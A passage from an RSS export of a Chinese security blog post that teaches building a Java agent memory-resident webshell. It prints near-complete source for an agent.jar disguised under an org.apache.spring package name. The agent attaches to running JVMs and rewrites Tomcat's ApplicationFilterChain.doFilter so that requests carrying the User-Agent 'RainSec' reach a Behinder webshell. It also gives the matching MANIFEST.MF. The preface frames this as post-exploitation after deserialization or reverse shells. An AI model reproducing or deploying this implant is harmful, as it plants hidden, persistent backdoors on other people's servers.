8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Michael Koczwara (@MichalKoczwara) / Twitter</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">ninoseki/apullo: A scanner for taking basic fingerprints (github.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">salesforce/hassh:</span></p></li></ul><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485875">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e075dc92&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485875%26idx%3D1%26sn%3D5715df6f854dcebb78177cc16bdadda3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 06 Apr 2023 18:04:00 +0800</pubDate>
    </item>
    <item>
      <title>初识Java agent类型内存马</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485840&amp;idx=1&amp;sn=2415ed871482da0a9a63d812f508587e</link>
      <description>带你初识Java agent类型内存马</description>
      <content:encoded><![CDATA[<p>
原创 <span>COP</span> <span>2023-03-30 10:49</span> <span style="display: inline-block;">北京</span>
</p>

<p>带你初识Java agent类型内存马</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6c851bc5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkYJhhwiawreI80gTbjM30B1Mgq8uFmyFXlIfq7X6nN33dctQl82oRfGvTCGkwbHVRsE3PZwpt5kK8Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 2em;margin-left: auto;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">初识Java agent类型内存马</h2><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">前言</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  你是否遇到过这样的场景，springboot环境下各种反序列化的点，但是可用的反序列化链不能直接加载类打入内存马，只能执行系统命令，甚至目标环境不出网，或者已经反弹shell或cs上线成功了，但是想要注入一个webshell。这时候就需要用到agent类型内存马了。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">前置知识点</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  JavaAgent 是JDK 1.5 以后引入的，可以在Java程序运行之前或运行期间修改类的字节码，Java agent可以是一个编译好的jar文件，使用方式有两种：</p><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 实现premain方法，在JVM启动前加载。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 实现agentmain方法，在JVM启动后加载。(jdk 1.6 之后提供)</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  实现了premain方法的agent 就可以在启动Java程序时使用 -javaagent 参数来加载。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  实现了agentmain方法的agent可以通过进程pid来连接到启动后的Java程序上。 agentmain方法声明如下，拥有Instrumentation inst参数的方法优先级更高：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">public</span> <span style="color: rgb(198, 120, 221);">static</span> <span style="color: rgb(198, 120, 221);">void</span> <span style="color: rgb(97, 174, 238);">premain</span>(String agentArgs, Instrumentation inst) {<br/>    ...<br/>}<br/><span style="color: rgb(198, 120, 221);">public</span> <span style="color: rgb(198, 120, 221);">static</span> <span style="color: rgb(198, 120, 221);">void</span> <span style="color: rgb(97, 174, 238);">premain</span>(String agentArgs) {<br/>    ...<br/>}</code></pre><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第一个参数String agentArgs就是Java agent的参数。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第二个参数Instrumentaion inst比较重要，有三个需要用到的方法：</p></li></ul><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. getAllLoadedClasses:获取目标已经加载的类。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. addTransformer:增加一个 Class 文件的转换器，转换器用于改变 Class 二进制流的数据，在类加载之后，需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后，后续的类加载都会被Transformer拦截。对于已经加载过的类，可以执行retransformClasses来重新触发这个Transformer的拦截。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. retransformClasses: 在类加载之后，重新定义 Class。</p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Agent实现主要依靠VirtualMachine和VirtualMachineDescriptor这两个类</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">VirtualMachine<br/>VirtualMachine可以来实现获取系统信息，内存dump、现成dump、类信息统计（例如JVM加载的类）。<br/>Attach：允许我们通过给attach方法传入一个jvm的pid(进程id)，远程连接到jvm上<br/>loadAgent：向jvm注册一个代理程序agent，在该agent的代理程序中会得到一个Instrumentation实例，该实例可以 在class加载前改变class的字节码，也可以在class加载后重新加载。在调用Instrumentation实例的方法时，这些方法会使用ClassFileTransformer接口中提供的方法进行处理。<br/>Detach：解除Attach<br/>VirtualMachineDescriptor<br/> VirtualMachineDescriptor是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符，以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现，但通常是进程标识符（或 pid）环境，其中每个 Java 虚拟机在其自己的操作系统进程中运行。<br/> VirtualMachineDescriptor实例通常是通过调用VirtualMachine.list() 方法创建的。这将返回描述所有已安装 Java 虚拟机的完整描述符列表attach providers。</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">jar包中的MANIFEST.MF 文件必须指定 Agentmain-Class 项，Agentmain-Class 指定的那个类必须实现 agentmain() 方法</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">编写一个agent.jar</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  笔者在github找了好久，基本是一些本地调试用的demo，没找到能直接能用的且较为通用的。所以就在 ethushiroha师傅 项目 JavaAgentTools BehindShell 的基础上进行修改。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><br/><span style="color: rgb(198, 120, 221);">package</span> org.apache.spring;<br/><span style="color: rgb(198, 120, 221);">import</span> java.io.File;<br/><span style="color: rgb(198, 120, 221);">import</span> java.io.IOException;<br/><span style="color: rgb(198, 120, 221);">import</span> java.lang.instrument.Instrumentation;<br/><span style="color: rgb(198, 120, 221);">import</span> java.lang.instrument.UnmodifiableClassException;<br/><span style="color: rgb(198, 120, 221);">import</span> java.lang.reflect.InvocationTargetException;<br/><span style="color: rgb(198, 120, 221);">import</span> java.lang.reflect.Method;<br/><span style="color: rgb(198, 120, 221);">import</span> java.net.MalformedURLException;<br/><span style="color: rgb(198, 120, 221);">import</span> java.net.URL;<br/><span style="color: rgb(198, 120, 221);">import</span> java.net.URLClassLoader;<br/><span style="color: rgb(198, 120, 221);">import</span> java.util.ArrayList;<br/><span style="color: rgb(198, 120, 221);">import</span> java.util.List;<br/><span style="color: rgb(198, 120, 221);">public</span> <span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">m</span> {<br/>    <span style="color: rgb(198, 120, 221);">public</span> <span style="color: rgb(198, 120, 221);">static</span> <span style="color: rgb(198, 120, 221);">final</span> <span style="color: rgb(209, 154, 102);">String</span> <span style="color: rgb(209, 154, 102);">TransformedClassName</span> = c.SpringMemShellConfig.TransformedClassName;<br/>    <span style="color: rgb(198, 120, 221);">public</span> <span style="color: rgb(198, 120, 221);">static</span> <span style="color: rgb(209, 154, 102);">Instrumentation</span> <span style="color: rgb(209, 154, 102);">i</span> = <span style="color: rgb(86, 182, 194);">null</span>;<br/>    <span style="color: rgb(198, 120, 221);">public</span> <span style="color: rgb(198, 120, 221);">static</span> <span style="color: rgb(198, 120, 221);">void</span> <span style="color: rgb(97, 174, 238);">agentmain</span>(String agentArgs, Instrumentation inst) <span style="color: rgb(198, 120, 221);">throws</span> ClassNotFoundException, UnmodifiableClassException, IOException {<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">//启动方法</span><br/>        i = inst;<br/>        System.out.println(<span style="color: rgb(152, 195, 121);">&#34;Agent load ...&#34;</span>);<br/>        start();<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">public</span> <span style="color: rgb(198, 120, 221);">static</span> String <span style="color: rgb(97, 174, 238);">start</span>() <span style="color: rgb(198, 120, 221);">throws</span> UnmodifiableClassException {<br/>        System.out.println(<span style="color: rgb(152, 195, 121);">&#34;Agent start ...&#34;</span>);<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">//t继承了ClassFileTransformer接口，重写了transform方法，用于拦截修改加载的类字节码，此方法返回值是通过javassist修改好的字节码，</span><br/>        <span style="color: rgb(198, 120, 221);">final</span> <span style="color: rgb(209, 154, 102);">t</span> <span style="color: rgb(209, 154, 102);">t1</span> = <span style="color: rgb(198, 120, 221);">new</span> <span style="color: rgb(230, 192, 123);">t</span>();<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">//获取目标所有已经加载的类</span><br/>        Class[] classes = i.getAllLoadedClasses();<br/>        <span style="color: rgb(198, 120, 221);">for</span> (Class aClass : classes) {<br/>            <span style="color: rgb(198, 120, 221);">if</span> (aClass.getName().equals(TransformedClassName)) {<br/>                <span style="color: rgb(92, 99, 112);font-style: italic;">//这里修改的是org.apache.catalina.core.ApplicationFilterChain类的doFilter方法，测试的时候有一个坑点是测试jar包启动时需要访问一下Web，ApplicationFilterChain类才会加载，上面获取所有类的时候才可以获取到ApplicationFilterChain类。</span><br/>                System.out.println(<span style="color: rgb(152, 195, 121);">&#34;Agent get TransformedClassName ...&#34;</span>);<br/>                <span style="color: rgb(92, 99, 112);font-style: italic;">//添加拦截器</span><br/>                i.addTransformer(t1, <span style="color: rgb(86, 182, 194);">true</span>);<br/>                <span style="color: rgb(92, 99, 112);font-style: italic;">//重新定义ApplicationFilterChain类，触发拦截器也就是t类的transform方法</span><br/>                i.retransformClasses(aClass);<br/>                <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(152, 195, 121);">&#34;Success&#34;</span>;<br/>            }<br/>        }<br/>        <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(152, 195, 121);">&#34;ERROR::&#34;</span>;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">public</span> <span style="color: rgb(198, 120, 221);">static</span> <span style="color: rgb(198, 120, 221);">void</span> <span style="color: rgb(97, 174, 238);">main</span>(String[] args)<br/>            <span style="color: rgb(198, 120, 221);">throws</span> RuntimeException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {<br/>                <span style="color: rgb(92, 99, 112);font-style: italic;">//agent.jar 用到的核心类VirtualMachine和VirtualMachineDescriptor在jdk的tools.jar里，如果直接把tools.jar一块打进agent.jar里，不能跨平台使用，笔者测试mac编译无法在linux中使用</span><br/>                <span style="color: rgb(92, 99, 112);font-style: italic;">//通过URLClassLoader加载目标环境的tools.jar，可以变得更加通用</span><br/>                <span style="color: rgb(209, 154, 102);">String</span> <span style="color: rgb(209, 154, 102);">toolsJarPath</span> = System.getProperty(<span style="color: rgb(152, 195, 121);">&#34;java.home&#34;</span>) + File.separator + <span style="color: rgb(152, 195, 121);">&#34;..&#34;</span> + File.separator + <span style="color: rgb(152, 195, 121);">&#34;lib&#34;</span> + File.separator + <span style="color: rgb(152, 195, 121);">&#34;tools.jar&#34;</span>;<br/>                <span style="color: rgb(209, 154, 102);">URLClassLoader</span> <span style="color: rgb(209, 154, 102);">classLoader</span> = <span style="color: rgb(86, 182, 194);">null</span>;<br/>                <span style="color: rgb(198, 120, 221);">try</span> {<br/>                    classLoader = <span style="color: rgb(198, 120, 221);">new</span> <span style="color: rgb(230, 192, 123);">URLClassLoader</span>(<span style="color: rgb(198, 120, 221);">new</span> <span style="color: rgb(230, 192, 123);">URL</span>[]{<span style="color: rgb(198, 120, 221);">new</span> <span style="color: rgb(230, 192, 123);">File</span>(toolsJarPath).toURI().toURL()});<br/>                } <span style="color: rgb(198, 120, 221);">catch</span> (MalformedURLException e) {<br/>                    System.err.println(<span style="color: rgb(152, 195, 121);">&#34;tools.jar load error&#34;</span>);<br/>                    System.exit(-<span style="color: rgb(209, 154, 102);">1</span>);<br/>                }<br/>                Class&lt;?&gt; vmClass = <span style="color: rgb(86, 182, 194);">null</span>;<br/>                Class&lt;?&gt; vmdClass = <span style="color: rgb(86, 182, 194);">null</span>;<br/>                <span style="color: rgb(198, 120, 221);">try</span> {<br/>                    vmClass = classLoader.loadClass(<span style="color: rgb(152, 195, 121);">&#34;com.sun.tools.attach.VirtualMachine&#34;</span>);<br/>                    vmdClass = classLoader.loadClass(<span style="color: rgb(152, 195, 121);">&#34;com.sun.tools.attach.VirtualMachineDescriptor&#34;</span>);<br/>                } <span style="color: rgb(198, 120, 221);">catch</span> (ClassNotFoundException e) {<br/>                    e.printStackTrace();<br/>                }<br/>                <span style="color: rgb(209, 154, 102);">Object</span> <span style="color: rgb(209, 154, 102);">vmObj</span> = <span style="color: rgb(86, 182, 194);">null</span>;<br/>                <span style="color: rgb(209, 154, 102);">String</span> <span style="color: rgb(209, 154, 102);">agentpath</span> = <span style="color: rgb(86, 182, 194);">null</span>;<br/>                List&lt;String&gt; list = <span style="color: rgb(198, 120, 221);">new</span> <span style="color: rgb(230, 192, 123);">ArrayList</span>&lt;String&gt;();<br/>                <span style="color: rgb(198, 120, 221);">if</span> (args.length == <span style="color: rgb(209, 154, 102);">2</span>) {<br/>                    list.add(args[<span style="color: rgb(209, 154, 102);">0</span>]);<br/>                    agentpath = args[<span style="color: rgb(209, 154, 102);">1</span>];<br/>                } <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span> (args.length==<span style="color: rgb(209, 154, 102);">1</span>) {<br/>                    list.add(args[<span style="color: rgb(209, 154, 102);">0</span>]);<br/>                    <span style="color: rgb(92, 99, 112);font-style: italic;">//获取agent.jar的绝对路径</span><br/>                    agentpath = m.class.getProtectionDomain().getCodeSource().getLocation().getFile();<br/>                } <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span> (args.length==<span style="color: rgb(209, 154, 102);">0</span>) {<br/>                    <span style="color: rgb(92, 99, 112);font-style: italic;">//通过VirtualMachineDescriptor类的list方法 获取目标环境中运行的Java进程，省去查找pid这一步</span><br/>                    <span style="color: rgb(209, 154, 102);">Method</span> <span style="color: rgb(209, 154, 102);">listMethod</span> = vmClass.getDeclaredMethod(<span style="color: rgb(152, 195, 121);">&#34;list&#34;</span>, <span style="color: rgb(198, 120, 221);">new</span> <span style="color: rgb(230, 192, 123);">Class</span>[]{});<br/>                    List&lt;Object&gt; vmlist = (List&lt;Object&gt;) listMethod.invoke(<span style="color: rgb(86, 182, 194);">null</span>);<br/>                    <span style="color: rgb(209, 154, 102);">Method</span> <span style="color: rgb(209, 154, 102);">idMethod</span> = vmdClass.getDeclaredMethod(<span style="color: rgb(152, 195, 121);">&#34;id&#34;</span>,<span style="color: rgb(198, 120, 221);">new</span> <span style="color: rgb(230, 192, 123);">Class</span>[]{});<br/>                    Method displayNameMethod= vmdClass.getDeclaredMethod(<span style="color: rgb(152, 195, 121);">&#34;displayName&#34;</span>,<span style="color: rgb(198, 120, 221);">new</span> <span style="color: rgb(230, 192, 123);">Class</span>[]{});<br/>                    <span style="color: rgb(198, 120, 221);">for</span> (Object vmd : vmlist) {<br/>                        System.out.println(String.format(<span style="color: rgb(152, 195, 121);">&#34;get vmname: %s  pid: %s&#34;</span>,(String) displayNameMethod.invoke(vmd),(String) idMethod.invoke(vmd)));<br/>                        list.add((String) idMethod.invoke(vmd));<br/>                    }<br/>                    agentpath = m.class.getProtectionDomain().getCodeSource().getLocation().getFile();<br/>                }<span style="color: rgb(198, 120, 221);">else</span> {<br/>                    System.err.println(<span style="color: rgb(152, 195, 121);">&#34;usage : java -jar agent.jar\r\njava -jar agent.jar pid\r\njava -jar agent.jar pid agentpath&#34;</span>);<br/>                    System.err.println(<span style="color: rgb(152, 195, 121);">&#34;Parameter error&#34;</span>);<br/>                    System.exit(-<span style="color: rgb(209, 154, 102);">1</span>);<br/>                }<br/>                System.out.println(<span style="color: rgb(152, 195, 121);">&#34; agentpath :&#34;</span> + agentpath);<br/>                <span style="color: rgb(198, 120, 221);">for</span> (String pid :list){<br/>                    <span style="color: rgb(198, 120, 221);">try</span> {<br/>                        System.out.println(String.format(<span style="color: rgb(152, 195, 121);">&#34;try attach %s&#34;</span>,pid));<br/>                        <span style="color: rgb(209, 154, 102);">Method</span> <span style="color: rgb(209, 154, 102);">attachMethod</span> = <span style="color: rgb(86, 182, 194);">null</span>;<br/>                        <span style="color: rgb(198, 120, 221);">try</span> {<br/>                            <span style="color: rgb(92, 99, 112);font-style: italic;">//连接到此Java进程</span><br/>                            attachMethod = vmClass.getDeclaredMethod(<span style="color: rgb(152, 195, 121);">&#34;attach&#34;</span>, String.class);<br/>                        } <span style="color: rgb(198, 120, 221);">catch</span> (NoSuchMethodException e) {<br/>                            e.printStackTrace();<br/>                        }<br/>                        vmObj = (Object) attachMethod.invoke(<span style="color: rgb(86, 182, 194);">null</span>, pid);<br/>                        <span style="color: rgb(198, 120, 221);">if</span> (vmObj != <span style="color: rgb(86, 182, 194);">null</span>) {<br/>                            <span style="color: rgb(92, 99, 112);font-style: italic;">//加载agent.jar 触发agentmain方法</span><br/>                            <span style="color: rgb(209, 154, 102);">Method</span> <span style="color: rgb(209, 154, 102);">loadAgentMethod2</span> = vmClass.getDeclaredMethod(<span style="color: rgb(152, 195, 121);">&#34;loadAgent&#34;</span>, String.class);<br/>                            loadAgentMethod2.invoke(vmObj, agentpath);<br/>                        }<br/>                    } <span style="color: rgb(198, 120, 221);">catch</span> (InvocationTargetException e) {<br/>                        e.printStackTrace();<br/>                    } <span style="color: rgb(198, 120, 221);">catch</span> (NoSuchMethodException e) {<br/>                        e.printStackTrace();<br/>                    } <span style="color: rgb(198, 120, 221);">catch</span> (IllegalAccessException e) {<br/>                        e.printStackTrace();<br/>                    } <span style="color: rgb(198, 120, 221);">finally</span> {<br/>                        <span style="color: rgb(198, 120, 221);">if</span> (<span style="color: rgb(86, 182, 194);">null</span> != vmObj) {<br/>                            <span style="color: rgb(209, 154, 102);">Method</span> <span style="color: rgb(209, 154, 102);">detachMethod</span> = <span style="color: rgb(86, 182, 194);">null</span>;<br/>                            <span style="color: rgb(198, 120, 221);">try</span> {<br/>                                <span style="color: rgb(92, 99, 112);font-style: italic;">//断开连接</span><br/>                                detachMethod = vmClass.getDeclaredMethod(<span style="color: rgb(152, 195, 121);">&#34;detach&#34;</span>, <span style="color: rgb(198, 120, 221);">new</span> <span style="color: rgb(230, 192, 123);">Class</span>[]{});<br/>                            } <span style="color: rgb(198, 120, 221);">catch</span> (NoSuchMethodException e) {<br/>                                e.printStackTrace();<br/>                            }<br/>                            <span style="color: rgb(198, 120, 221);">try</span> {<br/>                                detachMethod.invoke(vmObj);<br/>                            } <span style="color: rgb(198, 120, 221);">catch</span> (IllegalAccessException e) {<br/>                                e.printStackTrace();<br/>                            } <span style="color: rgb(198, 120, 221);">catch</span> (InvocationTargetException e) {<br/>                                e.printStackTrace();<br/>                            }<br/>                        }<br/>                    }<br/>                }<br/>            }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  t.transform 读取jar包里的start.txt，把读取到的内容插入到ApplicationFilterChain类的doFilter方法里，默认所有路由都有效，可以添加User-Agent来判断是否走到webshell，org.apache.spring.b.d就是一个冰蝎马</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">{<br/>    javax.servlet.http.HttpServletRequest request = $1;<br/>    javax.servlet.http.HttpServletResponse response = $2;<br/>    try {<br/>        Object session = request.getSession();<br/>        if (request.getHeader(&#34;User-Agent&#34;).equals(&#34;RainSec&#34;)) {<br/>            org.apache.spring.b.d(request, response, session);<br/>            return ;<br/>        }<br/>    } catch (Exception e) {<br/>    }<br/>}<br/></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">创建 /src/main/resources/META-INF/MANIFEST.MF 文件，内容如下</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">Manifest-Version: 1.0<br/>Agent-Class: org.apache.spring.m<br/>Can-Redefine-Classes: true<br/>Can-Retransform-Classes: true<br/>Can-Set-Native-Method-Prefix: true<br/>Main-Class: org.apache.spring.m<br/></code></pre><p style="font-size: 